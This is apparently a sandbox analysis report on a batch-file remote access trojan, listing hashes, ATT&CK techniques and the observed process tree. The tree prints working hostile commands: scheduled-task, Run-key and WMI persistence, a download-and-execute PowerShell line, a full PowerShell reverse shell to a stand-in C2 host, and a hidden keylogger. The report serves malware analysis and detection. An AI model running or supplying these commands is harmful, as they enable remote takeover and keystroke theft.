af6e2a37845c0d0de482832daf84099e5e861dba68622c02b1a192e0f38928a0

Analysis

max time kernel
149s
max time network
100s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 01:51

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General

Target
rat_build_156427_014430.bat
Size 4KB
Sample260529-b969qsax71
SHA256 af6e2a37845c0d0de482832daf84099e5e861dba68622c02b1a192e0f38928a0
MD5 53e71ac6cc5b5ac6c8e933bb27fad0c3
SHA1 785b844d2592ae1c30ee34a41c261bd798ca9505
SHA512 f82f30e1196f4959b9bb86a51ff0d5ba519a8a2ed03b5bfc6c67c20119bcf7a1730633fd6c18566fd0bbe95a34eb2c5745eb6c29e80e4d5a62a051448f917bbd
SSDEEP 96:ggIM1pYKWaAujVCke9+j2aGFZLeUtK4GNgtP1iFgZk8mvlo13PK:TNONaA8y5mNyiFgkHloPK
TLSH
T1A4A1D82757A6722089B0251CCA73386C676CDDF72341C59DBF05CDC44A9CB47A12C6E3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_156427.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3460	powershell.exe
5624	powershell.exe
2332	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_156427 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_156427.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2888	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
552	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
6036	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3780	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3460	powershell.exe
3460	powershell.exe
5624	powershell.exe
5624	powershell.exe
2332	powershell.exe
2332	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2668	WMIC.exe
Token: SeSecurityPrivilege	2668	WMIC.exe
Token: SeTakeOwnershipPrivilege	2668	WMIC.exe
Token: SeLoadDriverPrivilege	2668	WMIC.exe
Token: SeSystemProfilePrivilege	2668	WMIC.exe
Token: SeSystemtimePrivilege	2668	WMIC.exe
Token: SeProfSingleProcessPrivilege	2668	WMIC.exe
Token: SeIncBasePriorityPrivilege	2668	WMIC.exe
Token: SeCreatePagefilePrivilege	2668	WMIC.exe
Token: SeBackupPrivilege	2668	WMIC.exe
Token: SeRestorePrivilege	2668	WMIC.exe
Token: SeShutdownPrivilege	2668	WMIC.exe
Token: SeDebugPrivilege	2668	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2668	WMIC.exe
Token: SeRemoteShutdownPrivilege	2668	WMIC.exe
Token: SeUndockPrivilege	2668	WMIC.exe
Token: SeManageVolumePrivilege	2668	WMIC.exe
Token: 33	2668	WMIC.exe
Token: 34	2668	WMIC.exe
Token: 35	2668	WMIC.exe
Token: 36	2668	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2668	WMIC.exe
Token: SeSecurityPrivilege	2668	WMIC.exe
Token: SeTakeOwnershipPrivilege	2668	WMIC.exe
Token: SeLoadDriverPrivilege	2668	WMIC.exe
Token: SeSystemProfilePrivilege	2668	WMIC.exe
Token: SeSystemtimePrivilege	2668	WMIC.exe
Token: SeProfSingleProcessPrivilege	2668	WMIC.exe
Token: SeIncBasePriorityPrivilege	2668	WMIC.exe
Token: SeCreatePagefilePrivilege	2668	WMIC.exe
Token: SeBackupPrivilege	2668	WMIC.exe
Token: SeRestorePrivilege	2668	WMIC.exe
Token: SeShutdownPrivilege	2668	WMIC.exe
Token: SeDebugPrivilege	2668	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2668	WMIC.exe
Token: SeRemoteShutdownPrivilege	2668	WMIC.exe
Token: SeUndockPrivilege	2668	WMIC.exe
Token: SeManageVolumePrivilege	2668	WMIC.exe
Token: 33	2668	WMIC.exe
Token: 34	2668	WMIC.exe
Token: 35	2668	WMIC.exe
Token: 36	2668	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4708	WMIC.exe
Token: SeSecurityPrivilege	4708	WMIC.exe
Token: SeTakeOwnershipPrivilege	4708	WMIC.exe
Token: SeLoadDriverPrivilege	4708	WMIC.exe
Token: SeSystemProfilePrivilege	4708	WMIC.exe
Token: SeSystemtimePrivilege	4708	WMIC.exe
Token: SeProfSingleProcessPrivilege	4708	WMIC.exe
Token: SeIncBasePriorityPrivilege	4708	WMIC.exe
Token: SeCreatePagefilePrivilege	4708	WMIC.exe
Token: SeBackupPrivilege	4708	WMIC.exe
Token: SeRestorePrivilege	4708	WMIC.exe
Token: SeShutdownPrivilege	4708	WMIC.exe
Token: SeDebugPrivilege	4708	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4708	WMIC.exe
Token: SeRemoteShutdownPrivilege	4708	WMIC.exe
Token: SeUndockPrivilege	4708	WMIC.exe
Token: SeManageVolumePrivilege	4708	WMIC.exe
Token: 33	4708	WMIC.exe
Token: 34	4708	WMIC.exe
Token: 35	4708	WMIC.exe
Token: 36	4708	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4708	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2744 wrote to memory of 3780	2744	cmd.exe	81
PID 2744 wrote to memory of 6036	2744	cmd.exe	82
PID 2744 wrote to memory of 2668	2744	cmd.exe	83
PID 2744 wrote to memory of 4708	2744	cmd.exe	84
PID 2744 wrote to memory of 5876	2744	cmd.exe	85
PID 2744 wrote to memory of 552	2744	cmd.exe	87
PID 2744 wrote to memory of 2888	2744	cmd.exe	90
PID 2744 wrote to memory of 3460	2744	cmd.exe	91
PID 2744 wrote to memory of 5624	2744	cmd.exe	92
PID 2744 wrote to memory of 2332	2744	cmd.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_156427_014430.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2744
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_156427" /tr "C:\Users\Admin\AppData\Local\Temp\_156427.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3780
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_156427" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_156427.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:6036
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_156427", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2668
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_156427", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_156427.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4708
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_156427.txt
  2⤵
  PID:5876
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:552
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:2888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_156427.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2332

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3e9dfdec2a1c817075bdfd2a8050630c7f8404f82e84a4374e80f124e102d49d
MD5 7a9772bc4c578c1736aa04a056f68da3
SHA1 7bb32e69db056bc9ab222ef4ef45de588b2a8efd
SHA512 2d4516747b14356725004ec2c227f56d3e2eae475d58e3fdd5b2b3dbef7382def984eb89584f11359a08d5b8ac3dc5a83fff1d9829a775ebbbcc97315265dd97
TLSH
T190115333B79CC135C8A9117A1089AD01B2B5C3CB04AEDE8B6A84C508E57F98ADBA41E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ad72d9ccb403a744bd70111861376292cb1ad42e35de878319d994bbfc1f41a6
MD5 d3d18d0b8add4e547fed704579dab405
SHA1 43ea29ee6c7e74377ac07420dbf2c453624cdf88
SHA512 e00182b7a0b743a7ea6b1c9ea0beeeddc5f1ec78278153c05cdaa6e36ea85c3f79b9ed3fd34d2c2e94d7c0214d427ea63d3ec92a7e7321327bf98c03c9e954d7
TLSH
T160117A33B39CC134C8D9157A10CDAD01B2B4C3DB44AEDE8B7A84C509E57F48ADBA41E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_4aa5n22v.ehy.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4aa5n22v.ehy.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3460-9-0x000001DC21000000-0x000001DC21022000-memory.dmp

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